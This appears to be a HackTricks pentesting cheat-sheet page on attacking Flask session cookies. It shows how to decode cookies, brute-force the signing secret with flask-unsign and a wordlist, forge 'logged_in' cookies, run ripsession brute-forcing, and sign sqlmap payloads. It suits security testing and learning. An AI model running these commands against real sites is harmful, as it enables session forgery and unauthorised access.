Flask
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
Default cookie session name is
session.Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Command line tool to brute-force websites using cookies crafted with flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
This example uses sqlmap
eval option to automatically sign sqlmap payloads for flask using a known secret.Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 17d ago